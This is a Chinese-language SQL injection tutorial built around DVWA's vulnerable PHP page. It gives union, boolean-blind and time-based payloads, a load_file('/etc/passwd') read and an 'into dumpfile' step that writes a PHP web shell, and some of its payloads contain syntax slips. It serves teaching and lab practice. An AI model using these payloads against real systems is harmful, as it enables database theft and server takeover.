一、sql注入漏洞介紹
sql注入漏洞一般存在於與后台數據庫交互的頁面,編程人員如果沒有做好數據過濾的話就很可能誕生sql注入漏洞。黑客利用這一漏洞向服務器提交惡意的數據,數據沒有經過過濾到數據庫中被當作命令運行,從而做到對數據庫的增刪改查操作,甚至可以供黑客直接拿到服務器管理員的權限。
例:服務器后台的代碼是這樣的
<?php
if(isset($_GET['Submit'])){
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
?>
可以看到服務器沒有經過任何過濾就將客戶提交的id字段當作查詢語句的一部分執行了,如果這個時候構造一下payload:http://dvwa/vulnerabilities/sqli/?id=1' union select table_name,table_schema from information_schema.tables--+
在服務器中就會執行SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables;
可以很容易的獲取到目標服務器數據庫中的所有數據表。
二、如何判斷網站是否存在sql注入漏洞
1.基於報錯的判斷方法
’ ” %
當我們提交這些特殊符號進入數據庫的時候,可能會導致數據庫查詢語句出錯,出錯結果回顯在網絡網頁中,由此可以判斷網站存在sql注入漏洞。
2.基於布爾的判斷方法
當某些網站沒有將sql錯誤回顯在網頁時,我們無法直接判斷網站是否存在sql注入,這時基於布爾判斷是我們可以使用的一個方法,通過給服務器提交類似and 1=1 / and 1=2這兩種邏輯分別為真/假的參數,查看服務器返回內容是否有不同,由此來判斷是否存在sql注入漏洞。
這時我們可以采用一下payload來獲取我們想要的信息
1' order by x--+ x為一個數字,由此根據返回內容的正確與否可以判斷出當前的列表有幾列。
1' and length(database()==x) --+ x為一個數字由此根據返回內容的正確與否可以判斷出當前的數據庫有幾個字符組成。
1' and ascii(substr(database(),1,1))==x--+ substr函數中的的一個參數代表使用的字符串,第二個參數代表截取的起始位置,第二個參數代表截取的長度,逐個判斷可以爆出數據庫的名稱。
3.基於時間的判斷方法
顧名思義,這是根據服務器相應時間來判斷是否存在sql注入的方法,它是一種布爾判斷方式的升級,當我們無法簡單的通過頁面回顯內容不同來判斷真假的時候,我們可以采用比較服務器相應時間的方法來判斷真假,說白了就是利用sleep()或benchmark()等函數讓mysql執行時間變長並結合判斷條件語句if(expr1,expr2,expr3),然后通過頁面的響應時間長短來判斷語句返回的值是TRUE還是False,從而猜解一些未知的字段。
payload如下:
1‘ and if(1=1,sleep(5),1)--+
1‘ and if(length(database()==x,sleep(5),1)
1’ and if(1=1,BENCHMARK(10000000,ENCODE('111,'hello')))
三、如何利用sql注入漏洞
當我們判斷一個網站存在sql注入漏洞以后,獲取目標數據庫的內容是比較簡單的,但是如何擴大戰果?讀取目標服務器其他的文件或者將數據庫下載到本地?亦或者上傳后門?
這里給出幾個簡單的payload:
' union select load_file('/etc/passwd')#
load_file函數可以訪問目標服務器本地的文件,並將結果顯示在查詢結果中。
' union select "<?php passthru($_GET)['cmd']; ?>" into dumpfile "/var/www/a.php"--+
into dumpfile可以將文件寫入到目標服務器上,以上的payload就是將php一句話代碼寫入到目標服務器的/var/www/下的a.php文件中,但是我們一幫情況下是沒有將文件寫入到服務器主目錄下的權限的,Linux中有一個目錄默認情況下任何人都可以對其進行讀寫操作,就是/tmp/
同樣還可以進行寫入的函數還有into outfile 區別是into dumpfile只可以導出一行,但若我們想把一個可執行的二進制函數用outfile導出則會出現問題,因為oufile會自動在末尾插入新行,並且會轉義文件內容,這樣會導致二進制文件損壞,在這種情況下使用dumpfile會更加合適,這也是為什么在udf(user defined function)提權中一般使用dumpfile命令。
讀寫文件的限制,讀寫能否成功收到一個名為secure_file_priv的參數的影響,當它的值為空的時候,導入導出不受影響,當它的值為指定目錄的時候,只能向指定的目錄進行導入導出,當它的值為null的時候則不能進行導入導出操作。這個參數的值可以通過select @@secure_file_priv來查找。 (一個@代表的是用戶自定義的變量,兩個@@代表系統變量)